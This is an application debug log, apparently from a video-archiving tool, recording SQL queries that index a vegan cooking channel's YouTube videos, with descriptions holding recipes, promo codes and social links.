➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Pico de Gallo that you need to make", "3980fb09-4995-496c-9b15-24465005de1f", 1, [], false, "zYX8d3bvg_w", "https://www.youtube.com/watch?v=zYX8d3bvg_w", 318, "/downloads/downloads/alec/Steamy Vegan/2023-03-14 The BEST Pico de Gallo that you need to make/The BEST Pico de Gallo that you need to make [zYX8d3bvg_w].NA", false, false, false, 1, ~U[2023-03-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Cook with me and make this delicious PICO DE GALLO recipe with a fruity twist of mango! 🥭 This pico de gallo recipe is always the biggest hit at any party or perfect for taco night with the family. It takes 10 minutes to whip up and is EASY to make!\n\nComment below and tell me about your favorite Mexican foods! Are you a taco, burrito, or taquito lover? Also, let me know if you like this style of cook-along recipe video because I'd love to make more of these if you actually enjoy them!\n\nCheck out my other Mexican-inspired recipes!\n1. VEGAN Sheet Pan Fajitas: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n2. Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n3. The BEST Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n4. The BEST Mango Pico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n\nMANGO & CORN PICO DE GALLO\n4 roma tomatoes, de-seeded and diced\n1 cup diced white or yellow onion\n1 large jalapeño, seeds removed and diced (or leave seeds if you like it spicy!)\nJuice of 1 lime\nHalf a bundle of cilantro, finely chopped\n1 cup of corn, fresh or frozen (thawed) Could also grill it!\n1 large ripe mango, cubed\n1 tsp pink himalayan saly (or sea salt)\n\nINSTRUCTIONS: Mix everything in a large bowl, adjust seasonings and salt to taste and its ready to eat! Ridiculously easy. Doesn't hurt to let it chill in the fridge for 1 hour before serving to help all the flavors meld together!\n\nCheck out some of my other Mexican cuisine recipes on the channel to make your next taco night complete:\n1. Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n2. How to Make the Best Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n3. VEGAN Sheet Pan Fajitas: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n\nSUBSCRIBE so you don't miss any of these videos coming up! Thank you so much for all your support, every like, comment and watch help to grow the channel!\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Pico de Gallo that you need to make", 1, nil, false, "zYX8d3bvg_w", "https://www.youtube.com/watch?v=zYX8d3bvg_w", "/downloads/downloads/alec/Steamy Vegan/2023-03-14 The BEST Pico de Gallo that you need to make/The BEST Pico de Gallo that you need to make [zYX8d3bvg_w].NA", false, ~U[2023-03-14 00:00:00Z]] 20:31:08.399 [debug] QUERY OK source="sources" db=0.5ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.401 [debug] QUERY OK source="media_items" db=1.7ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-11 00:00:00Z], 1] 20:31:08.407 [debug] QUERY OK source="media_items" db=5.3ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We are making the BEST Refried Beans EVER! These instant pot refried beans are easy to make, incredibly delicious and packed full of nutrition and plant-based protein! Use them in your favourite Mexican dishes like:\ntacos and taco salad\nburritos and burrito bowls\ntaquitos\nenchiladas\n7 layer dip\n\nEnjoy this video? Give it a THUMBS UP and SUBSCRIBE! \n\nCheck out my other Mexican-inspired recipes! ⬇️\n1. VEGAN Sheet Pan Fajitas: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n2. The BEST Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n3. The BEST Pico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n\nINSTANT POT REFRIED BEANS - \nIngredients:\n2 cups dry pinto beans (or soak overnight)\n1 small yellow onion, diced\n1 jalapeño — cored, seeded (if you don't like spicy 🔥) and sliced\n3 cloves minced garlic\n4 cups vegetable stock\n2 cups water\n2 bay leaves\n1½ teaspoons kosher salt\n1 teaspoon ground cumin\n1 teaspoon dried oregano\n⅛ to ¼ teaspoon cayenne pepper\nWater or oil for sautéing\n\n1. Rinse beans well in a large colander and set aside.\n2. Turn your Instant Pot to SAUTE. Add a splash of water or 1 tbsp oil. Once the water is hot, add the onion and jalapeño. Sauté for about 2 minutes, then add the garlic and let cook until just fragrant, about 30 seconds. \n3. Add the veggie stock, water, bay leaves, salt, spices, and beans. Stir well to combine.\n4. Seal the pot and cook on HIGH for 45 minutes (if using soaked beans, cook for 22 mins). When the 45 minutes has passed, let the pressure release naturally for 25 minutes. Vent to release any remaining pressure. The beans will be very liquidy!! Don't be alarmed.\n5. Discard the bay leaves. Reserve approximately 1 cup of the bean cooking liquid, if there's that much remaining, and drain the remainder. \n6. With an immersion blender (or potato masher) puree the beans until they reach your desired consistency, adding some of the reserved liquid as needed. Cool slightly before serving if desired and enjoy!\n\n* STOVETOP INSTRUCTIONS*\nRepeat steps 1 to 3 in a stockpot on the stove on medium-high heat. \nCover with the lid and cook for 1 hour on medium heat, or until the beans are completely cooked through and fork tender.\nProceed with steps 5 and 6 as written above.\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nPINTEREST: https://www.pinterest.ca/SteamyVeganK...\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy...", "The BEST Refried Beans! | Instant Pot Refried Beans", "be33d18f-85bf-40ac-86b5-e58a0ce9bcb7", 1, [], false, "4B4GRiB3yzs", "https://www.youtube.com/watch?v=4B4GRiB3yzs", 319, "/downloads/downloads/alec/Steamy Vegan/2023-03-11 The BEST Refried Beans! | Instant Pot Refried Beans/The BEST Refried Beans! | Instant Pot Refried Beans [4B4GRiB3yzs].NA", false, false, false, 1, ~U[2023-03-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We are making the BEST Refried Beans EVER! These instant pot refried beans are easy to make, incredibly delicious and packed full of nutrition and plant-based protein! Use them in your favourite Mexican dishes like:\ntacos and taco salad\nburritos and burrito bowls\ntaquitos\nenchiladas\n7 layer dip\n\nEnjoy this video? Give it a THUMBS UP and SUBSCRIBE! \n\nCheck out my other Mexican-inspired recipes! ⬇️\n1. VEGAN Sheet Pan Fajitas: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n2. The BEST Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n3. The BEST Pico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n\nINSTANT POT REFRIED BEANS - \nIngredients:\n2 cups dry pinto beans (or soak overnight)\n1 small yellow onion, diced\n1 jalapeño — cored, seeded (if you don't like spicy 🔥) and sliced\n3 cloves minced garlic\n4 cups vegetable stock\n2 cups water\n2 bay leaves\n1½ teaspoons kosher salt\n1 teaspoon ground cumin\n1 teaspoon dried oregano\n⅛ to ¼ teaspoon cayenne pepper\nWater or oil for sautéing\n\n1. Rinse beans well in a large colander and set aside.\n2. Turn your Instant Pot to SAUTE. Add a splash of water or 1 tbsp oil. Once the water is hot, add the onion and jalapeño. Sauté for about 2 minutes, then add the garlic and let cook until just fragrant, about 30 seconds. \n3. Add the veggie stock, water, bay leaves, salt, spices, and beans. Stir well to combine.\n4. Seal the pot and cook on HIGH for 45 minutes (if using soaked beans, cook for 22 mins). When the 45 minutes has passed, let the pressure release naturally for 25 minutes. Vent to release any remaining pressure. The beans will be very liquidy!! Don't be alarmed.\n5. Discard the bay leaves. Reserve approximately 1 cup of the bean cooking liquid, if there's that much remaining, and drain the remainder. \n6. With an immersion blender (or potato masher) puree the beans until they reach your desired consistency, adding some of the reserved liquid as needed. Cool slightly before serving if desired and enjoy!\n\n* STOVETOP INSTRUCTIONS*\nRepeat steps 1 to 3 in a stockpot on the stove on medium-high heat. \nCover with the lid and cook for 1 hour on medium heat, or until the beans are completely cooked through and fork tender.\nProceed with steps 5 and 6 as written above.\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nPINTEREST: https://www.pinterest.ca/SteamyVeganK...\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy...", "The BEST Refried Beans! | Instant Pot Refried Beans", 1, nil, false, "4B4GRiB3yzs", "https://www.youtube.com/watch?v=4B4GRiB3yzs", "/downloads/downloads/alec/Steamy Vegan/2023-03-11 The BEST Refried Beans! | Instant Pot Refri (truncated) 20:31:08.408 [debug] QUERY OK source="sources" db=0.6ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.410 [debug] QUERY OK source="media_items" db=2.0ms idle=10.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-09 00:00:00Z], 1] 20:31:08.412 [debug] QUERY OK source="media_items" db=0.9ms idle=11.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Our first MUKBANG on the channel! In this Chipotle Mukbang video we try out \u202A@chipotle\u202C's Sofritas Burrito Bowl for the very first time. We have heard how delicious their sofritas (seasoned and saucy ground tofu) are so we knew we had to give it a try! 🌶 \n\nLet us know your thoughts! Did you enjoy this video, want to see more like this on the channel? 👍🏻 GIVE US A LIKE AND SUBSCRIBE!\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\n\u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Restaurants\u00A0for\u00A0People\u00A0on\u00A0a\u00A0Plant...\u00A0\u00A0\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n------------------------------------------------------------------------------------------------------------------", "MUKBANG | Chipotle Mukbang (we try Chipotle's sofritas bowl!) 🌶", "9ddc1070-0bfa-4b27-bb24-a01367822062", 1, [], false, "xeUJkebfFig", "https://www.youtube.com/watch?v=xeUJkebfFig", 320, "/downloads/downloads/alec/Steamy Vegan/2023-03-09 MUKBANG | Chipotle Mukbang (we try Chipotle's sofritas bowl!) 🌶/MUKBANG | Chipotle Mukbang (we try Chipotle's sofritas bowl!) 🌶 [xeUJkebfFig].NA", false, false, false, 1, ~U[2023-03-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Our first MUKBANG on the channel! In this Chipotle Mukbang video we try out \u202A@chipotle\u202C's Sofritas Burrito Bowl for the very first time. We have heard how delicious their sofritas (seasoned and saucy ground tofu) are so we knew we had to give it a try! 🌶 \n\nLet us know your thoughts! Did you enjoy this video, want to see more like this on the channel? 👍🏻 GIVE US A LIKE AND SUBSCRIBE!\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\n\u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Restaurants\u00A0for\u00A0People\u00A0on\u00A0a\u00A0Plant...\u00A0\u00A0\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n------------------------------------------------------------------------------------------------------------------", "MUKBANG | Chipotle Mukbang (we try Chipotle's sofritas bowl!) 🌶", 1, nil, false, "xeUJkebfFig", "https://www.youtube.com/watch?v=xeUJkebfFig", "/downloads/downloads/alec/Steamy Vegan/2023-03-09 MUKBANG | Chipotle Mukbang (we try Chipotle's sofritas bowl!) 🌶/MUKBANG | Chipotle Mukbang (we try Chipotle's sofritas bowl!) 🌶 [xeUJkebfFig].NA", false, ~U[2023-03-09 00:00:00Z]] 20:31:08.413 [debug] QUERY OK source="sources" db=0.6ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.415 [debug] QUERY OK source="media_items" db=1.9ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-04 00:00:00Z], 1] 20:31:08.423 [debug] QUERY OK source="media_items" db=8.3ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Take a peek at what I eat in a day as a vegan! Just realistic vegan meals that keep me full, fuelled and feeling good. On this full day of eating I was very busy as I had several projects on the go, didn't have a lot of time to cook and was running out of fresh produce. Meal prepped food and leftovers are a MUST!\n\nRECIPES MENTIONED IN THIS VIDEO:\nBaked oats | Variation of my pumpkin spice baked oats (sub pumpkin puree for apple sauce and use apples and frozen blueberries)\nhttps://steamyvegan.com/pumpkin-spice...\nProtein Chia Pudding for 2 people\n12 oz plant milk\n1 large scoop protein powder (choc/vanilla)\n6 tbsp chia seeds\nLoaded Lazy Noodle Bowls | https://steamyvegan.com/loaded-lazy-n...\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by ej hoffman - a onederpaul time - https://thmatc.co/?l=92AF5106\nMusic by HONÜ - Kaloli - https://thmatc.co/?l=27419010\nMusic by F1fty Beatz - Me - https://thmatc.co/?l=FD7CFBEB\nMusic by Damien Sebe - Light Leaks - https://thmatc.co/?l=235310F1\nMusic by Mark Generous, Jasper The Cat - Last Week Of School - https://thmatc.co/?l=33FD1557\nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "VEGAN what I eat in a day | easy meals on a busy day", "f479a3aa-e117-47fd-bcdf-65e3ee5d548d", 1, [], false, "cCiQc7rHz1o", "https://www.youtube.com/watch?v=cCiQc7rHz1o", 321, "/downloads/downloads/alec/Steamy Vegan/2023-03-04 VEGAN what I eat in a day | easy meals on a busy day/VEGAN what I eat in a day | easy meals on a busy day [cCiQc7rHz1o].NA", false, false, false, 1, ~U[2023-03-04 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Take a peek at what I eat in a day as a vegan! Just realistic vegan meals that keep me full, fuelled and feeling good. On this full day of eating I was very busy as I had several projects on the go, didn't have a lot of time to cook and was running out of fresh produce. Meal prepped food and leftovers are a MUST!\n\nRECIPES MENTIONED IN THIS VIDEO:\nBaked oats | Variation of my pumpkin spice baked oats (sub pumpkin puree for apple sauce and use apples and frozen blueberries)\nhttps://steamyvegan.com/pumpkin-spice...\nProtein Chia Pudding for 2 people\n12 oz plant milk\n1 large scoop protein powder (choc/vanilla)\n6 tbsp chia seeds\nLoaded Lazy Noodle Bowls | https://steamyvegan.com/loaded-lazy-n...\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by ej hoffman - a onederpaul time - https://thmatc.co/?l=92AF5106\nMusic by HONÜ - Kaloli - https://thmatc.co/?l=27419010\nMusic by F1fty Beatz - Me - https://thmatc.co/?l=FD7CFBEB\nMusic by Damien Sebe - Light Leaks - https://thmatc.co/?l=235310F1\nMusic by Mark Generous, Jasper The Cat - Last Week Of School - https://thmatc.co/?l=33FD1557\nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "VEGAN what I eat in a day | easy meals on a busy day", 1, nil, false, "cCiQc7rHz1o", "https://www.youtube.com/watch?v=cCiQc7rHz1o", "/downloads/downloads/alec/Steamy Vegan/2023-03-04 VEGAN what I eat in a day | easy meals on a busy day/VEGAN what I eat in a day | easy meals on a busy day [cCiQc7rHz1o].NA", false, ~U[2023-03-04 00:00:00Z]] 20:31:08.425 [debug] QUERY OK source="sources" db=1.0ms queue=0.4ms idle=13.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.428 [debug] QUERY OK source="media_items" db=2.0ms idle=14.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-16 00:00:00Z], 1] 20:31:08.431 [debug] QUERY OK source="media_items" db=2.0ms idle=15.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm going to show you how to make vegan gluten free banana bread! This vegan banana bread is TOTALLY BONKERS, you guys! 😲 This easy vegan banana bread recipe uses mostly whole food healthy ingredients like oats, flax, tahini and coconut sugar and NO OIL OR REFINED SUGARS! If you're tired of your gluten-free breads turning out like garbage then you need this recipe! \n\nLoved this video? DON'T FORGET TO LIKE AND SUBSCRIBE! 😊\n\nVEGAN GLUTEN-FREE BANANA BREAD\n2½ cups rolled oats (gluten-free if necessary)\n2 tsp baking powder\n1 tsp baking soda\n½ tsp salt\n¾ tsp cinnamon\n½ cup coconut sugar\n3 ripe, brown spotty bananas\n¼ cup tahini or nut butter\n1 tsp vanilla\n2 flax eggs (2 tbsp ground flax seed + 6 tbsp water, sit 10 mins)\n2 tsp apple cider vinegar\n½ cup vegan choc chips\nCRUMB TOPPING (OPTIONAL)\n¼ cup + 2 tbsp rolled oats\n3 tbsp oat flour \n¼ cup almond flour\n3 tbsp nut/seed butter\n3 tbsp coconut sugar\n¼ tsp cinnamon\n⅛ tsp nutmeg\n⅛ tsp cardamom (optional)\n⅛ salt \n\n1. Preheat your oven to 350°F and line a loaf tin with parchment paper.\n2. Make your oat flour first by blending up 2 cups of the rolled oats in a high-speed blender for 10-20 seconds, until a fine flour has formed. Transfer to a large mixing bowl.\n3. Add in the baking powder, baking soda, salt, cinnamon, and remaining ½ cup of oats and mix until combined. Set aside.\n4. In a separate mixing bowl, add the bananas and mash with a fork until shiny and runny with only a few lumps remaining. Add the coconut sugar, tahini, flax eggs, vanilla and apple cider vinegar and stir until it's a well combined mixture.\n5. Pour the dry ingredients into the wet and mix with a wooden spoon or spatula until well combined into a uniform batter with no dry spots remaining. Transfer batter into the loaf tin and set aside for a few minutes while you whip up the crumb topping.\n6. OPTIONAL STEP: In a food processor or blender, add all the crumb topping ingredients (minus the rolled oats) and blitz until well combined and resembling clumpy sand. Add the rolled oats and pulse a few times until combined.\n6A. Spoon about ½ cup or more of the crumb topping over the banana bread batter and gently press down to help it stick. \n7. Bake for 60 to 70 minutes, or until golden on top and a toothpick inserted comes out clean. Let cool in the tin for 10 minutes then remove and allow to cool completely on a wire rack. Slice, toast if you like and enjoy! Slather on some butter, nut/seed butter or eat as is! \n\n---------------------------------------------------------------------------------------------------------------------\nPROMO 